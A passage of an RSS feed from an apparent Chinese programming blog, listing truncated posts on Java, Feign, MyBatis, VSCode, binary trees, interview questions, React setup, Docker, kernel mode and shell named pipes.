现在订单服务确实知道库存服务、积分服务、仓库服务在哪里了，同时也监听着哪些端口号了。但是新问题又来了：难道订单服务要自己写一大堆代码，跟其他服务建立网络连接，然后构造一个复杂的请求，接着发送请求过去，最后对返回的响应结果再写一大堆代码来处理吗？&#xA;这是上述流程翻译的代码片段，咱们一起来看看，体会一下这种绝望而无助的感受！！！&#xA;友情提示，前方高能：&#xA;看完上面那一大段代码，有没有感到后背发凉、一身冷汗？实际上你进行服务间调用时，如果每次都手写代码，代码量比上面那段要多至少几倍，所以这个事儿压根儿就不是地球人能干的。&#xA;既然如此，那怎么办呢？别急，Feign早已为我们提供好了优雅的解决方案。来看看如果用Feign的话，你的订单服务调用库存服务的代码会变成啥样？&#xA;看完上面的代码什么感觉？是不是感觉整个世界都干净了，又找到了活下去的勇气！没有底层的建立连接、构造请求、解析响应的代码，直接就是用注解定义一个 FeignClient接口，然后调用那个接口就可以了。人家Feign Client会在底层根据你的注解，跟你指定的服务建立连接、构造请求、发起靕求、获取响应、解析响应，等等。这一系列脏活累活，人家Feign全给你干了。</description>
    </item>
    <item>
      <title>java实现调用方法解压和压缩给定的文件夹方法</title>
      <link>https://bchobby.github.io/posts/98bfb4937606d12df5108b0f9e5d2dcf/</link>
      <pubDate>Thu, 17 Feb 2022 11:20:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/98bfb4937606d12df5108b0f9e5d2dcf/</guid>
      <description>1.最近接到任务，需要将压缩包解压到指定路径，还有将指定路径的文件夹压缩成一个压缩包，在网上找了一些资料，自己有完善了一下，发布出来记录一下；&#xA;引入的jar包；&#xA;&amp;lt;!--rar压缩--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.commons&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;commons-compress&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.9&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 压缩和解压方法代码：&#xA;package com.aspirecn.audit.file.biz.utils; import org.apache.commons.compress.archivers.sevenz.SevenZArchiveEntry; import org.apache.commons.compress.archivers.sevenz.SevenZFile; import org.apache.commons.lang3.StringUtils; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.util.DigestUtils; import sun.misc.BASE64Decoder; import sun.misc.BASE64Encoder; import java.io.*; import java.net.HttpURLConnection; import java.net.MalformedURLException; import java.net.URL; import java.nio.channels.FileChannel; import java.nio.charset.Charset; import java.text.DateFormat; import java.text.SimpleDateFormat; import java.util.*; import java.util.zip.ZipEntry; import java.util.zip.ZipFile; import java.util.zip.ZipOutputStream; /** * TODO * * @author wangyanhui * @date 2018-07-09 13:52 * */ public class FileUtil { //private static final Logger logger = LogUtil.</description>
    </item>
    <item>
      <title>Mybatis中使用的10种设计模式</title>
      <link>https://bchobby.github.io/posts/9fa86fb450536d5e9d13cc03f60db98d/</link>
      <pubDate>Thu, 17 Feb 2022 09:47:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9fa86fb450536d5e9d13cc03f60db98d/</guid>
      <description> Mybatis至少遇到了以下的设计模式的使用： 1、Builder模式，例如SqlSessionFactoryBuilder、XMLConfigBuilder、XMLMapperBuilder、XMLStatementBuilder、CacheBuilder； 2、工厂模式，例如SqlSessionFactory、ObjectFactory、MapperProxyFactory； 3、单例模式，例如ErrorContext和LogFactory； 4、代理模式，Mybatis实现的核心，比如MapperProxy、ConnectionLogger，用的jdk的动态代理；还有executor.loader包使用了cglib或者javassist达到延迟加载的效果； 5、组合模式，例如SqlNode和各个子类ChooseSqlNode等； 6、模板方法模式，例如BaseExecutor和SimpleExecutor，还有BaseTypeHandler和所有的子类例如IntegerTypeHandler； 7、适配器模式，例如Log的Mybatis接口和它对jdbc、log4j等各种日志框架的适配实现； 8、装饰者模式，例如Cache包中的cache.decorators子包中等各个装饰者的实现； 9、迭代器模式，例如迭代器模式PropertyTokenizer； 10、 MyBatis拦截器使用了责任链模式 </description>
    </item>
    <item>
      <title>VSCODE波形曲线提示找不到头文件（头文件存在还报错）</title>
      <link>https://bchobby.github.io/posts/481c87335a67f6845f9719f150be23fd/</link>
      <pubDate>Thu, 17 Feb 2022 01:52:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/481c87335a67f6845f9719f150be23fd/</guid>
      <description>VSCODE波形曲线提示找不到头文件（头文件存在还报错） 文章目录 VSCODE波形曲线提示找不到头文件（头文件存在还报错）之前在网上看到一个方法如下，但并没有解决 ，如果你也是这样，`请直接跳过这个方法往下看`我自己实测有用的方法1.打开这个网址[LLVM下载地址](https://releases.llvm.org/download.html)2.搜索windows找到windows版本的，然后下载3.安装4.上述安装完成后，在vscode 中将C/C++ Clang Command Adapter插件卸载掉，重启，重新安装，再重启，就好了 2022/2/17最新： 之前在网上看到一个方法如下，但并没有解决 ，如果你也是这样，请直接跳过这个方法往下看 工程文件夹下会有一个.vscode文件夹，找到c_cpp_properties.json文件，复制以下代码进去&#xA;&#34;includePath&#34;: [ &#34;${workspaceFolder}/**&#34; ], 如下图所示：&#xA;我自己实测有用的方法 如果你安装了C/C++ Clang Command Adapter这个插件，那大概率是它没有配置好的原因&#xA;先卸载这个插件，重启VSCODE, 再看看你还会不会报错,如果还会，那么这个方法不适合你，看看别的帖子吧。&#xA;如果没有报错了，那么下面教你怎么完全配置好这个插件&#xA;1.打开这个网址LLVM下载地址 2.搜索windows找到windows版本的，然后下载 下载可能会很慢，如果你下载不动或者很慢，可以直接在我上传的资源下载下载链接，设置的0积分免费的&#xA;3.安装 安装过程中会问你添不添加环境变量，默认是不添加，手动选一下添加就行，就只需要注意这一点，其它傻瓜安装就行。&#xA;如果忘了点，可以重装或者手动添加环境变量，找到bin文件添加进去，这个我就不详细说了，常规操作。&#xA;4.上述安装完成后，在vscode 中将C/C++ Clang Command Adapter插件卸载掉，重启，重新安装，再重启，就好了 2022/2/17最新： 确定是C/C++ Clang Command Adapter的锅，好像是和C/C++冲突，辣鸡插件，不安也罢&#xA;把C/C++ Clang Command Adapter卸载后再也没有这个问题了</description>
    </item>
    <item>
      <title>详解二叉树经典基础算法</title>
      <link>https://bchobby.github.io/posts/cf0dd1dc390d68e71215ccccb575c74e/</link>
      <pubDate>Thu, 17 Feb 2022 01:40:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cf0dd1dc390d68e71215ccccb575c74e/</guid>
      <description>二叉树是我们平时学习当中一种常见的数据结构。在面试和学习当中我们难免会遇到一些跟二叉树有关的算法题。今天我为大家带来了几题经典的二叉树基础算法题，我们一起来看看吧！&#xA;目录&#xA;1.检查两棵树是否相同&#xA;①题目描述&#xA;②思路分析&#xA;③题解代码&#xA;2.另一颗树的子树&#xA;①题目描述&#xA;②思路分析&#xA;③题解代码&#xA;3.二叉树最大的深度&#xA;①题目描述&#xA;②思路分析&#xA;③题解代码&#xA;4.平衡二叉树&#xA;①题目描述&#xA;②思路分析&#xA;③题解代码&#xA;5.对称二叉树&#xA;①题目描述&#xA;②思路分析&#xA;③题解代码&#xA;6.最近公共祖先&#xA;①题目描述&#xA;②思路分析&#xA;③题解代码&#xA;7.根据前序和中序构建二叉树&#xA;①题目描述&#xA;②思路分析&#xA;③题解代码&#xA;1.检查两棵树是否相同 ①题目描述 给你两棵二叉树的根节点 p 和 q ，编写一个函数来检验这两棵树是否相同。如果两个树在结构上相同，并且节点具有相同的值，则认为它们是相同的。(来源：力扣（LeetCode）)&#xA;示例：&#xA;②思路分析 根据题目描述，我们在检验两颗二叉树是否相同时，可以先检验结构是否相同。那么基本可以分成一下几种情况：&#xA;一.两棵树的根节点有一颗为空，一颗不为空：false&#xA;二.两棵树都为空：true&#xA;三.两棵树都不为空：&#xA;1.值相同 ：检查子树&#xA;2.值不同：false&#xA;③题解代码 public boolean isSameTree(TreeNode p, TreeNode q) { if(p != null &amp;amp;&amp;amp; q == null) { return false; } else if(p == null &amp;amp;&amp;amp; q !</description>
    </item>
    <item>
      <title>Java面试题及答案整理与下载（2021最新版）</title>
      <link>https://bchobby.github.io/posts/ce9b6c2f1fd54710d7990ad3661ed8cc/</link>
      <pubDate>Wed, 16 Feb 2022 15:19:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ce9b6c2f1fd54710d7990ad3661ed8cc/</guid>
      <description>Java面试题及答案整理 一、Java 基础# 1. JDK 和 JRE 有什么区别？# JDK：Java Development Kit 的简称，java 开发工具包，提供了 java 的开发环境和运行环境。JRE：Java Runtime Environment 的简称，java 运行环境，为 java 的运行提供了所需环境。 具体来说 JDK 其实包含了 JRE，同时还包含了编译 java 源码的编译器 javac，还包含了很多 java 程序调试和分析的工具。简单来说：如果你需要运行 java 程序，只需安装 JRE 就可以了，如果你需要编写 java 程序，需要安装 JDK。&#xA;2. == 和 equals 的区别是什么？# == 解读&#xA;对于基本类型和引用类型 == 的作用效果是不同的，如下所示：&#xA;基本类型：比较的是值是否相同；引用类型：比较的是引用是否相同； 代码示例：&#xA;Copy&#xA;String x = &#34;string&#34;; String y = &#34;string&#34;; String z = new String(&#34;string&#34;); System.out.println(x==y); // true System.out.println(x==z); // false System.</description>
    </item>
    <item>
      <title>(亲测)java.lang.ClassNotFoundException: javax.servlet.jsp.jstl.core.LoopTag</title>
      <link>https://bchobby.github.io/posts/51bd06ab80f7649e094936aa5edf6192/</link>
      <pubDate>Wed, 16 Feb 2022 12:07:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/51bd06ab80f7649e094936aa5edf6192/</guid>
      <description> 加入一下依赖&#xA;jstl-1.2.jar&#xA;standard-1.1.2.jar&#xA;&amp;lt;dependency&amp;gt; &amp;lt;!--注意groupId不是javax.servlet.jsp.jstl--&amp;gt; &amp;lt;groupId&amp;gt;jstl&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;jstl&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.2&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;taglibs&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;standard&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.1.2&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; </description>
    </item>
    <item>
      <title>使用umi脚手架来初始化React项目</title>
      <link>https://bchobby.github.io/posts/db624a3604b8cd91feb74660f3341f85/</link>
      <pubDate>Wed, 16 Feb 2022 10:26:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/db624a3604b8cd91feb74660f3341f85/</guid>
      <description>使用umi脚手架来初始化React项目：使用umi脚手架来初始化React项目 - 简书 一、开发环境 首先，请安装 NodeJS。NodeJS 是一个 JS 执行环境，umi 基于 JS 编写，并且需要在你的开发机上运行，所以依赖于它。&#xA;安装完成后，执行下面的命令确认是否安装成功。&#xA;node -v npm -v 在 umi 中我们采用了一些 NodeJS 的新特性，请确保你的 NodeJS 版本大于等于 8.5.0。&#xA;在国内，你可以安装cnpm获得更快速、更安全的包管理体验。使用如下命令安装：&#xA;npm install -g cnpm --registry=https://registry.npm.taobao.org 然后你可以通过如下的命令确认是否成功：&#xA;cnpm -v 通过 cnpm 你可以很方便的安装和管理一些第三方的包。比如 umi 就将通过它来安装到你的项目。&#xA;二、安装 umi 依赖 首先，新建一个空的文件夹，用来存放本课程后续所有的代码。&#xA;mkdir antd-course cd antd-course 然后，调用 cnpm init 来初始化 package.json，它是 NodeJS 约定的用来存放项目的信息和配置等信息的文件。&#xA;cnpm init -y 上面命令中，参数 -y 表示对 npm 要求提供的信息，都自动按下回车键，表示接受默认值。&#xA;接着，安装 umi 的依赖。&#xA;cnpm install umi --save-dev 安装完成之后你会发现 package.</description>
    </item>
    <item>
      <title>ruoyi-vue版本sqlserver的初始化数据库脚本</title>
      <link>https://bchobby.github.io/posts/d3a772f4368a5906b555829411bba335/</link>
      <pubDate>Wed, 16 Feb 2022 10:23:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d3a772f4368a5906b555829411bba335/</guid>
      <description>用navicate把我本地正常启动的库重新生成的脚本&#xA;/* Navicat Premium Data Transfer Source Server : mssqlserver Source Server Type : SQL Server Source Server Version : 11003000 Source Host : 127.0.0.1:1433 Source Catalog : sales Source Schema : dbo Target Server Type : SQL Server Target Server Version : 11003000 File Encoding : 65001 Date: 15/02/2022 16:11:47 */ -- ---------------------------- -- Table structure for gen_table -- ---------------------------- IF EXISTS (SELECT * FROM sys.all_objects WHERE object_id = Object_id(N&#39;[dbo].</description>
    </item>
    <item>
      <title>Java常见面试题</title>
      <link>https://bchobby.github.io/posts/de8b15773d9af07e160f287fc99adead/</link>
      <pubDate>Tue, 15 Feb 2022 23:17:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/de8b15773d9af07e160f287fc99adead/</guid>
      <description>目录&#xA;Java基础&#xA;谈谈对面向对象的理解？&#xA;访问修饰符的作用范围&#xA;String和StringBuilder、StringBuffer的区别？ 重载（Overload）和重写（Override）的区别？&#xA;throw和throws的区别？&#xA;接口与抽象类的区别？&#xA;Java中final关键字？&#xA;wait() 和 sleep() 方法的区别？&#xA;Thread 调用 start() 方法和调用 run() 方法的区别&#xA;synchronized 和 Lock 的区别&#xA;JVM常见问题&#xA;谈谈对JVM的理解？&#xA;什么情况下回发生栈内存溢出？&#xA;JVM中一次完整的GC流程是怎样的，对象如何晋升到老年代？&#xA;你知道哪几种垃圾收集器，各自的优缺点？&#xA;CMS收集器和G1收集器的区别？&#xA;谈谈双亲委派机制？&#xA;强引用、软引用、弱引用、虚引用的区别？&#xA;spring常见问题&#xA;谈谈你对Spring的理解？&#xA;BeanFactory和ApplicationContext有什么区别？&#xA;谈谈spring中bean的生命周期？&#xA;SpringMVC常见问题&#xA;谈谈你对springmvc的理解？&#xA;SpringBoot常见问题&#xA;谈谈你对SpringBoot的理解？&#xA;说说SpringBoot的优点？&#xA;介绍一下 @SpringBootApplication 注解？&#xA;Spring Boot 的四大核心？&#xA;Spring Boot 自动配置原理是什么？&#xA;Spring Boot起步依赖？&#xA;Java基础 谈谈对面向对象的理解？ 面向对象是一种编程思想，它注重的是结果而非过程，不需要所有事情都亲力亲为。面向对象是对一类事物共有的特点和行为的概括，是抽象的、不存在的。&#xA;面向对象有三大特征：封装、继承和多态&#xA;封装：将属性私有化，对外提供getter、setter方法，隐藏对象的属性和实现细节，对内部数据提供不同级别的保护。&#xA;继承：所有类都默认继承顶级父类Object，使用extends实现继承关系，子类拥有父类的所有非私有方法及属性，在Java中都是单继承，如果父类中的方法不能满足子类的需求，子类可以重写父类方法进行功能扩展。&#xA;多态：多态的前提是要有继承关系，并重写了父类中的方法，父类型指向子类型对象。遵循编译时看左运行时看右原则。&#xA;访问修饰符的作用范围 String和StringBuilder、StringBuffer的区别？ String的值是常量，一旦被创建就无法修改，当对多个字符串拼接时，每次拼接得到的字符串都是一个新的对象，会占用大量内存。&#xA;StringBuilder是非线程安全的，它的append()方法对字符串进行操作时不会浪费内存。在单线程情况下推荐使用，效率较高。&#xA;StringBuffer是线程安全的，但是效率较低。&#xA;重载（Overload）和重写（Override）的区别？ 重载：&#xA;方法名相同，参数列表不同(参数类型、参数个数、参数顺序)目的，让方法在接收不同参数时实现不同功能 重写：&#xA;方法名和参数列表相同返回值和抛出异常范围要小于等于父类访问修饰符范围大于等于父类有private和final修饰的方法不能被重写 throw和throws的区别？ throw出现在方法中，用于方法执行时抛出一个指定的异常对象，而throws出现在参数列表和方法体之间，用于通知开发人员当前方法运行时，可能抛出的异常。一个throw一次只能携带一个异常对象，throws后面可以携带多个异常类型当方法中存在throw命令时，在调用时可以不考虑异常捕捉问题，当方法被throws修饰时，调用方法时必须考虑异常捕捉问题 接口与抽象类的区别？ 接口：</description>
    </item>
    <item>
      <title>用户态和内核态的概念区别</title>
      <link>https://bchobby.github.io/posts/648e79d7ff90d6e3e3fe83c6b5e4de80/</link>
      <pubDate>Tue, 15 Feb 2022 17:55:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/648e79d7ff90d6e3e3fe83c6b5e4de80/</guid>
      <description>用户态和内核态的概念区别 究竟什么是用户态，什么是内核态，这两个基本概念以前一直理解得不是很清楚，根本原因个人觉得是在于因为大部分时候我们在写程序时关注的重点和着眼的角度放在了实现的功能和代码的逻辑性上，先看一个例子：&#xA;void testfork(){ if(0 = = fork()){ printf(“create new process success!\n”); } printf(“testfork ok\n”); } 这段代码很简单，从功能的角度来看，就是实际执行了一个fork()，生成一个新的进程，从逻辑的角度看，就是判断了如果fork()返回的是则打印相关语句，然后函数最后再打印一句表示执行完整个testfork()函数。代码的执行逻辑和功能上看就是如此简单，一共四行代码，从上到下一句一句执行而已，完全看不出来哪里有体现出用户态和进程态的概念。&#xA;如果说前面两种是静态观察的角度看的话，我们还可以从动态的角度来看这段代码，即它被转换成CPU执行的指令后加载执行的过程，这时这段程序就是一个动态执行的指令序列。而究竟加载了哪些代码，如何加载就是和操作系统密切相关了。&#xA;2）特权级&#xA;熟悉Unix/Linux系统的人都知道，fork的工作实际上是以系统调用的方式完成相应功能的，具体的工作是由sys_fork负责实施。其实无论是不是Unix或者Linux，对于任何操作系统来说，创建一个新的进程都是属于核心功能，因为它要做很多底层细致地工作，消耗系统的物理资源，比如分配物理内存，从父进程拷贝相关信息，拷贝设置页目录页表等等，这些显然不能随便让哪个程序就能去做，于是就自然引出特权级别的概念，显然，最关键性的权力必须由高特权级的程序来执行，这样才可以做到集中管理，减少有限资源的访问和使用冲突。&#xA;特权级显然是非常有效的管理和控制程序执行的手段，因此在硬件上对特权级做了很多支持，就Intel x86架构的CPU来说一共有0~3四个特权级，级最高，3级最低，硬件上在执行每条指令时都会对指令所具有的特权级做相应的检查，相关的概念有 CPL、DPL和RPL，这里不再过多阐述。硬件已经提供了一套特权级使用的相关机制，软件自然就是好好利用的问题，这属于操作系统要做的事情，对于 Unix/Linux来说，只使用了级特权级和3级特权级。也就是说在Unix/Linux系统中，一条工作在级特权级的指令具有了CPU能提供的最高权力，而一条工作在3级特权级的指令具有CPU提供的最低或者说最基本权力。&#xA;3）用户态和内核态&#xA;现在我们从特权级的调度来理解用户态和内核态就比较好理解了，当程序运行在3级特权级上时，就可以称之为运行在用户态，因为这是最低特权级，是普通的用户进程运行的特权级，大部分用户直接面对的程序都是运行在用户态；反之，当程序运行在级特权级上时，就可以称之为运行在内核态。&#xA;虽然用户态下和内核态下工作的程序有很多差别，但最重要的差别就在于特权级的不同，即权力的不同。运行在用户态下的程序不能直接访问操作系统内核数据结构和程序，比如上面例子中的testfork()就不能直接调用 sys_fork()，因为前者是工作在用户态，属于用户态程序，而sys_fork()是工作在内核态，属于内核态程序。&#xA;当我们在系统中执行一个程序时，大部分时间是运行在用户态下的，在其需要操作系统帮助完成某些它没有权力和能力完成的工作时就会切换到内核态，比如testfork()最初运行在用户态进程下，当它调用fork()最终触发 sys_fork()的执行时，就切换到了内核态。&#xA;2. 用户态和内核态的转换&#xA;1）用户态切换到内核态的3种方式&#xA;a. 系统调用&#xA;这是用户态进程主动要求切换到内核态的一种方式，用户态进程通过系统调用申请使用操作系统提供的服务程序完成工作，比如前例中fork()实际上就是执行了一个创建新进程的系统调用。而系统调用的机制其核心还是使用了操作系统为用户特别开放的一个中断来实现，例如Linux的int 80h中断。&#xA;b. 异常 当CPU在执行运行在用户态下的程序时，发生了某些事先不可知的异常，这时会触发由当前运行进程切换到处理此异常的内核相关程序中，也就转到了内核态，比如缺页异常。&#xA;c. 外围设备的中断&#xA;当外围设备完成用户请求的操作后，会向CPU发出相应的中断信号，这时CPU会暂停执行下一条即将要执行的指令转而去执行与中断信号对应的处理程序，如果先前执行的指令是用户态下的程序，那么这个转换的过程自然也就发生了由用户态到内核态的切换。比如硬盘读写操作完成，系统会切换到硬盘读写的中断处理程序中执行后续操作等。&#xA;这3种方式是系统在运行时由用户态转到内核态的最主要方式，其中系统调用可以认为是用户进程主动发起的，异常和外围设备中断则是被动的。&#xA;2）具体的切换操作&#xA;从触发方式上看，可以认为存在前述3种不同的类型，但是从最终实际完成由用户态到内核态的切换操作上来说，涉及的关键步骤是完全一致的，没有任何区别，都相当于执行了一个中断响应的过程，因为系统调用实际上最终是中断机制实现的，而异常和中断的处理机制基本上也是一致的，关于它们的具体区别这里不再赘述。关于中断处理机制的细节和步骤这里也不做过多分析，涉及到由用户态切换到内核态的步骤主要包括：&#xA;[1] 从当前进程的描述符中提取其内核栈的ss0及esp0信息。&#xA;[2] 使用ss0和esp0指向的内核栈将当前进程的cs,eip,eflags,ss,esp信息保存起来，这个&#xA;过程也完成了由用户栈到内核栈的切换过程，同时保存了被暂停执行的程序的下一&#xA;条指令。&#xA;[3] 将先前由中断向量检索得到的中断处理程序的cs,eip信息装入相应的寄存器，开始&#xA;执行中断处理程序，这时就转到了内核态的程序执行了。</description>
    </item>
    <item>
      <title>【数据结构】（一）数据结构入门</title>
      <link>https://bchobby.github.io/posts/64bdd65698a56ed223b1a4666f12c879/</link>
      <pubDate>Tue, 15 Feb 2022 15:36:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/64bdd65698a56ed223b1a4666f12c879/</guid>
      <description>文章目录 数据结构入门1 数据结构基础知识2 算法复杂度 数据结构入门 数 据 结 构 + 算 法 = 程 序 数据结构+算法=程序 数据结构+算法=程序&#xA;1 数据结构基础知识 数据&#xA;指所有能输入到计算机中的描述客观事物的符号，包括文本、声音、图像、符号等。&#xA;数据元素&#xA;数据元素是数据的基本单位，也称节点或记录，如下图所示。&#xA;数据项&#xA;数据项表示有独立含义的数据最小单位，也称域。若干个数据项构成一个数据元素，数据项是不可分割的最小单位，如上图所示的“86”。&#xA;数据对象&#xA;数据对象是指相同特性的数据元素的集合，是数据的一个子集。&#xA;数据结构&#xA;数据结构是指相互之间存在一种或多种特定关系的数据元素的集合。&#xA;数据结构是带“结构”的数据元素的集合，“结构”是指数据元素之间存在的关系。数据结构研究的问题是将带有关系的数据存储在计算机中，并进行相关操作。&#xA;逻辑结构是数据元素之间的关系，存储结构是数据元素及其关系在计算机中的存储方式。例如，小明和小勇是表兄弟，这是他们之间的逻辑关系；他们在教室里面的位置是他们的存储结构。&#xA;逻辑结构：数据元素间抽象化的相互关系，与数据的存储无关，独立于计算机，它是从具体问题中抽象出来的数学模型。&#xA;（1）集合——数据元素间除“同属于一个集合”外，无其他关系。&#xA;集合中的元素是离散、无序的，就像鸡圈中的小鸡一样，可以随意走动，它们之间没有什么关系，唯一的亲密关系就是在同一个鸡圈里，如下图所示。&#xA;（2）线性结构——一个对一个，如线性表、栈、队列、数组、广义表。&#xA;线性结构就像穿珠子，是一条线，不会分叉，如图1-3所示。有唯一的开始和唯一的结束，除了第一个元素外，每个元素都有唯一的直接前驱（前面那个）；除了最后一个元素外，每个元素都有唯一的直接后继（后面那个）。&#xA;（3）树形结构——一个对多个，如树。&#xA;树形结构就像一棵倒立的树，树根可以发出多个分支，每个每支也可以继续发出分支，树枝和树枝之间是不相交的，如图&#xA;（4）图形结构——多个对多个，如图、网。&#xA;图形结构就像我们经常见到的地图，任何一个节点都可能和其他节点有关系，就像一张错综复杂的网，如图&#xA;存储结构：数据元素及其关系在计算机中的存储方式。&#xA;（1）顺序存储&#xA;顺序存储是指逻辑上相邻的元素在计算机内的存储位置也是相邻的。例如，张小明是哥哥，张小波是弟弟，他们的逻辑关系是兄弟，如果他们住的房子是前后院，也是相邻的，就可以说他们是顺序存储，如图&#xA;顺序存储采用一段连续的存储空间，将逻辑上相邻的元素存储在连续的空间内，中间不允许有空。顺序存储可以快速定位第几个元素的地址，但是插入和删除时需要移动大量元素，如图&#xA;（2）链式存储&#xA;链式存储是指逻辑上相邻的元素在计算机内的存储位置不一定是相邻的。例如，哥哥张小明因为工作调动去了北京，弟弟仍然在郑州，他们的位置是不相邻的，但是哥哥有弟弟家的地址，很容易可以找到弟弟，就可以说他们是链式存储，如图&#xA;链式存储就像一个铁链子，一环扣一环才能连在一起。每个节点除了数据域，还有一个指针域，记录下一个元素的存储地址，如图&#xA;（3）散列存储&#xA;散列存储，又称哈希（Hash）存储，由节点的关键码值决定节点的存储地址。用散列函数确定数据元素的存储位置与关键码之间的对应关系，如图&#xA;（4）索引存储&#xA;索引存储是指除建立存储节点信息外，还建立附加的索引表来标识节点的地址。索引表由若干索引项组成。如果每个节点在索引表中都有一个索引项，则该索引表称为稠密索引。若一组节点在索引表中只对应于一个索引项，则该索引表称为稀疏索引。索引项的一般形式是关键字、地址，如图&#xA;抽象数据类型&#xA;抽象数据类型（Abstract Data Type, ADT）是将数据对象、数据对象之间的关系和数据对象的基本操作封装在一起的一种表达方式，它和工程中的应用是一致的。在工程项目中，开始编程之前，首先列出程序需要完成的功能任务，先不用管具体怎么实现，实现细节在项目后期完成，一开始只是抽象出有哪些基本操作。把这些操作项封装为抽象数据类型，等待后面具体实现这些操作。而其他对象如果想调用这些操作，只需要按照规定好的参数接口调用，并不需要知道具体是怎么实现的，从而实现了数据封装和信息隐藏。在C++中可以用类的声明表示抽象数据类型，用类的实现来实现抽象数据类型的具体操作。&#xA;抽象数据类型可以用以下的三元组来表示。&#xA;ADT抽象数据类型名{ 数据对象：&amp;lt;数据对象的定义&amp;gt; 数据关系：&amp;lt;数据关系的定义&amp;gt; 基本操作：&amp;lt;基本操作的定义&amp;gt; } ADT抽象数据类型名 抽象数据类型的主要作用是数据封装和信息隐藏，让实现与使用相分离。数据及其相关操作的结合称为数据封装。对象可以对其他对象隐藏某些操作细节，从而使这些操作不会受到其他对象的影响，这就是信息隐藏。抽象数据类型独立于运算的具体实现，使用户程序只能通过抽象数据类型定义的某些操作来访问其中的数据，实现了信息隐藏。&#xA;2 算法复杂度 我们对好的算法的评判标准主要是高效性、低存储性。&#xA;高效性：指算法运行效率高，即算法运行所消耗的时间短。我们用算法基本运算的执行次数来衡量算法的效率。因此将算法基本运算的执行次数作为时间复杂度的度量标准。&#xA;低存储性：指算法所需要的存储空间低。算法占用的空间大小称为空间复杂度。</description>
    </item>
    <item>
      <title>asp.net core docker部署</title>
      <link>https://bchobby.github.io/posts/50d11b14343803dea355291386f1faa7/</link>
      <pubDate>Tue, 15 Feb 2022 10:45:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/50d11b14343803dea355291386f1faa7/</guid>
      <description>昨天尝试了asp.net core 在docker部署，采用的系统：win10+docker+ubuntu wsl2&#xA;拉去asp.net core示例代码 cd D:\gitcode\dotnet git clone https://github.com/dotnet/dotnet-docker 编译镜像，并运行 这里先把docker启动，使用wsl2，&#xA;cd D:\gitcode\dotnet\dotnet-docker\samples\aspnetapp # 编译镜像 docker build -t aspnetapp . # 运行容器 docker run -it --rm -p 5000:80 --name aspnetcore_sample aspnetapp build命令参数:&#xA;将镜像命名为aspnetapp在当前文件夹（末尾的句号）中查找Dockerfile 运行容器命令参数：&#xA;-it：分配伪 TTY，即使未附加也使其保持打开状态。 （与 --interactive --tty 的效果相同。）-rm：容器在退出时自动删除-p 将本地计算机上的端口 5000 映射到容器中的端口 80。–name 将容器命名为 aspnetcore_sample。指定 aspnetapp 映像。 效果 这里发现一个问题：每次刷新 cgroup memory usage都会增加。代码待研究。&#xA;后期研究复杂应用asp.net core webapi+nginx+mysql+redis在docker的部署。</description>
    </item>
    <item>
      <title>shell脚本中命名管道</title>
      <link>https://bchobby.github.io/posts/d05d26917d8b7c985c962d75dbc1b1b8/</link>
      <pubDate>Mon, 14 Feb 2022 23:10:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d05d26917d8b7c985c962d75dbc1b1b8/</guid>
      <description> shell脚本中命名管道 管道是进程间通信的一种方式，使用|符号就是创建了一个匿名管道，但匿名管道只能实现父进程与子进程之间的通信。要实现任意两个进程之间的通信，需要使用命名管道，命名管道也叫FIFO文件&#xA;命名管道特征 FIFO文件创建后在文件系统中可以直接看到写入FIFO文件中的数据一旦被读取后，就不可以重复读取进程往FIFO文件中写数据时，如果没有其他进程读取数据，则写数据的进程会被阻塞，直到有其他进程读取数据进程从FIFO文件中读数据时，如果FIFO文件中没有数据，则读数据的进程会被阻塞，直到FIFO文件中被写入数据FIFO文件中的数据写在内存中，并不写入磁盘，读写效率更高 创建命名管道(FIFO文件) 使用mkfifo命令或mknod命令创建FIFO文件&#xA;[root@mao_aliyunserver bin]# ll total 4 -rw-r--r-- 1 root root 604 Feb 11 20:39 test.sh [root@mao_aliyunserver bin]# mkfifo fifo_file.txt [root@mao_aliyunserver bin]# ll total 4 prw-r--r-- 1 root root 0 Feb 11 22:06 fifo_file.txt -rw-r--r-- 1 root root 604 Feb 11 20:39 test.sh </description>
    </item>
    <item>
      <title>Mongodb 一口气安装执行脚本</title>
      <link>https://bchobby.github.io/posts/23a270b0192a327e8761f2b97e391bac/</link>
      <pubDate>Mon, 14 Feb 2022 20:16:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/23a270b0192a327e8761f2b97e391bac/</guid>
